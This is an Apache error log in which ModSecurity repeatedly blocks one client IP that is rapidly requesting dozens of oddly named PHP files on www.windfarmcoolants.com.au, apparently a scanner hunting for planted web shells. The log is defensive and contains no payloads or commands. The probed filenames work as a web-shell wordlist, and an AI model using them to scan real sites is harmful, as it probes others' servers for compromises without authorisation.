[Fri Apr 17 04:13:46.613477 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:29446] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeFC-pJYca8I3TNCwIfT-QAAAEo"]
[Fri Apr 17 04:13:47.238427 2026] [:error] [pid 9152:tid 9193] [client 20.166.7.149:29398] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeFC-5JYca8I3TNCwIfUAAAAAEM"]
[Fri Apr 17 04:13:47.816332 2026] [:error] [pid 9263:tid 9281] [client 20.166.7.149:29489] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "aeFC-xP68VyHNvj1e56WlAAAANA"]
[Fri Apr 17 04:13:48.487886 2026] [:error] [pid 9153:tid 9231] [client 20.166.7.149:10180] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "aeFC_OMHGxkTZX3c45e0bgAAAI0"]
[Fri Apr 17 04:13:49.155016 2026] [:error] [pid 9151:tid 9176] [client 20.166.7.149:29392] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "aeFC_chTVuRPkua22vRnIwAAAA8"]
[Fri Apr 17 04:13:49.757926 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:29442] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "aeFC_ZJYca8I3TNCwIfUDgAAAEo"]
[Fri Apr 17 04:13:50.350099 2026] [:error] [pid 9263:tid 9276] [client 20.166.7.149:29503] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeFC_hP68VyHNvj1e56WlgAAAMs"]
[Fri Apr 17 04:13:50.911871 2026] [:error] [pid 9151:tid 9174] [client 20.166.7.149:10134] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeFC_shTVuRPkua22vRnKwAAAA0"]
[Fri Apr 17 04:13:51.599289 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:29431] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeFC_xP68VyHNvj1e56WmgAAANU"]
[Fri Apr 17 04:13:52.211090 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:29478] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeFDABP68VyHNvj1e56WmwAAANM"]
[Fri Apr 17 04:13:52.769754 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:29402] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeFDABP68VyHNvj1e56WnwAAAMI"]
[Fri Apr 17 04:13:53.634777 2026] [:error] [pid 9263:tid 9289] [client 20.166.7.149:29458] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeFDARP68VyHNvj1e56WpQAAANg"]
[Fri Apr 17 04:13:54.258328 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:29419] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeFDAhP68VyHNvj1e56WqAAAAMc"]
[Fri Apr 17 04:13:54.763184 2026] [:error] [pid 9151:tid 9179] [client 20.166.7.149:29491] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeFDAshTVuRPkua22vRnLgAAABI"]
[Fri Apr 17 04:13:55.352665 2026] [:error] [pid 9152:tid 9198] [client 20.166.7.149:29423] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeFDA5JYca8I3TNCwIfUEQAAAEg"]
[Fri Apr 17 04:13:55.955553 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:29387] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeFDAxP68VyHNvj1e56WsQAAANM"]
[Fri Apr 17 04:13:56.550969 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:29485] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeFDBBP68VyHNvj1e56WsgAAAMI"]
[Fri Apr 17 04:13:57.136967 2026] [:error] [pid 9263:tid 9283] [client 20.166.7.149:29377] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "aeFDBRP68VyHNvj1e56WtAAAANI"]
[Fri Apr 17 04:13:57.709413 2026] [:error] [pid 9152:tid 9207] [client 20.166.7.149:29477] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "aeFDBZJYca8I3TNCwIfUFgAAAFE"]
[Fri Apr 17 04:13:58.232737 2026] [:error] [pid 9153:tid 9224] [client 20.166.7.149:29464] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "aeFDBuMHGxkTZX3c45e0kgAAAIY"]
[Fri Apr 17 04:13:58.819228 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:29459] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "aeFDBuMHGxkTZX3c45e0lgAAAIU"]
[Fri Apr 17 04:13:59.605562 2026] [:error] [pid 9153:tid 9227] [client 20.166.7.149:10202] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "aeFDB-MHGxkTZX3c45e0mwAAAIk"]
[Fri Apr 17 04:14:00.298015 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:29385] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFDCBP68VyHNvj1e56WwQAAAMQ"]
[Fri Apr 17 04:14:00.868492 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:29394] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFDCBP68VyHNvj1e56WxwAAANU"]
[Fri Apr 17 04:14:01.868525 2026] [:error] [pid 9152:tid 9201] [client 20.166.7.149:29439] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFDCZJYca8I3TNCwIfUGAAAAEs"]
[Fri Apr 17 04:14:03.211444 2026] [:error] [pid 9151:tid 9162] [client 20.166.7.149:29424] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFDC8hTVuRPkua22vRnOwAAAAE"]
[Fri Apr 17 04:14:04.358733 2026] [:error] [pid 9152:tid 9203] [client 20.166.7.149:29451] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFDDJJYca8I3TNCwIfUIwAAAE0"]
[Fri Apr 17 04:14:05.595885 2026] [:error] [pid 9153:tid 9229] [client 20.166.7.149:29487] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFDDeMHGxkTZX3c45e0pgAAAIs"]
[Fri Apr 17 04:14:06.240598 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:29389] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFDDpJYca8I3TNCwIfUJwAAAEo"]
[Fri Apr 17 04:14:06.960193 2026] [:error] [pid 9153:tid 9240] [client 20.166.7.149:10183] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFDDuMHGxkTZX3c45e0qAAAAJY"]
[Fri Apr 17 04:14:07.603481 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:29448] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeFDDxP68VyHNvj1e56W1QAAANU"]
[Fri Apr 17 04:14:08.555771 2026] [:error] [pid 9263:tid 9283] [client 20.166.7.149:29470] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeFDEBP68VyHNvj1e56W3gAAANI"]
[Fri Apr 17 04:14:09.738837 2026] [:error] [pid 9263:tid 9265] [client 20.166.7.149:29422] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeFDERP68VyHNvj1e56W7AAAAMA"]
[Fri Apr 17 04:14:11.114690 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:29391] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "aeFDE-MHGxkTZX3c45e0sgAAAIo"]
[Fri Apr 17 04:14:12.027249 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:10187] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFDFBP68VyHNvj1e56W9wAAAMg"]
[Fri Apr 17 04:14:12.783023 2026] [:error] [pid 9151:tid 9167] [client 20.166.7.149:10221] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFDFMhTVuRPkua22vRnRwAAAAY"]
[Fri Apr 17 04:14:13.609111 2026] [:error] [pid 9263:tid 9270] [client 20.166.7.149:10231] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFDFRP68VyHNvj1e56XAgAAAMU"]
[Fri Apr 17 04:14:14.233198 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:10190] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeFDFuMHGxkTZX3c45e0wwAAAIo"]
[Fri Apr 17 04:14:15.016409 2026] [:error] [pid 9153:tid 9218] [client 20.166.7.149:29409] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeFDF-MHGxkTZX3c45e0ywAAAIA"]
[Fri Apr 17 04:14:15.920390 2026] [:error] [pid 9153:tid 9234] [client 20.166.7.149:10208] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeFDF-MHGxkTZX3c45e00QAAAJA"]
[Fri Apr 17 04:14:16.557520 2026] [:error] [pid 9263:tid 9278] [client 20.166.7.149:29384] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeFDGBP68VyHNvj1e56XEgAAAM0"]
[Fri Apr 17 04:14:17.096702 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/7logs.php
[Fri Apr 17 04:14:17.350246 2026] [:error] [pid 9263:tid 9265] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/acc.php
[Fri Apr 17 04:14:17.603269 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/wxeyc.php
[Fri Apr 17 04:14:17.857030 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Fri Apr 17 04:14:18.111797 2026] [:error] [pid 9263:tid 9281] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Fri Apr 17 04:14:18.370820 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/fyflv.php
[Fri Apr 17 04:14:18.624139 2026] [:error] [pid 9263:tid 9268] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-942.php
[Fri Apr 17 04:14:18.881039 2026] [:error] [pid 9263:tid 9271] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/sde.php
[Fri Apr 17 04:14:19.134884 2026] [:error] [pid 9263:tid 9277] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/wpb.php
[Fri Apr 17 04:14:19.387603 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/Geforce.php
[Fri Apr 17 04:14:19.654555 2026] [:error] [pid 9263:tid 9285] [client 20.166.7.149:29411] File does not exist: /usr/local/apache/htdocs/suspended-page/9EaklzMysJ.php
[Fri Apr 17 04:14:19.933567 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:29411] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "aeFDGxP68VyHNvj1e56XNwAAAMQ"]
[Fri Apr 17 04:14:20.448560 2026] [:error] [pid 9153:tid 9219] [client 20.166.7.149:29414] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "aeFDHOMHGxkTZX3c45e06wAAAIE"]
[Fri Apr 17 04:14:20.997406 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:10195] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "aeFDHBP68VyHNvj1e56XOgAAANU"]
[Fri Apr 17 04:14:21.561751 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:10224] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "aeFDHRP68VyHNvj1e56XQAAAAMc"]
[Fri Apr 17 04:14:22.095095 2026] [:error] [pid 9263:tid 9266] [client 20.166.7.149:29461] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "aeFDHhP68VyHNvj1e56XRAAAAME"]
[Fri Apr 17 04:14:22.647291 2026] [:error] [pid 9263:tid 9271] [client 20.166.7.149:29474] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "aeFDHhP68VyHNvj1e56XRQAAAMY"]
[Fri Apr 17 04:14:23.232053 2026] [:error] [pid 9263:tid 9285] [client 20.166.7.149:10129] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "aeFDHxP68VyHNvj1e56XSgAAANQ"]
[Fri Apr 17 04:14:23.855792 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:29382] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "aeFDHxP68VyHNvj1e56XVAAAAMI"]
[Fri Apr 17 04:14:24.477665 2026] [:error] [pid 9263:tid 9271] [client 20.166.7.149:10205] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeFDIBP68VyHNvj1e56XWQAAAMY"]
[Fri Apr 17 04:14:24.986780 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:29406] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeFDIOMHGxkTZX3c45e1AQAAAIU"]
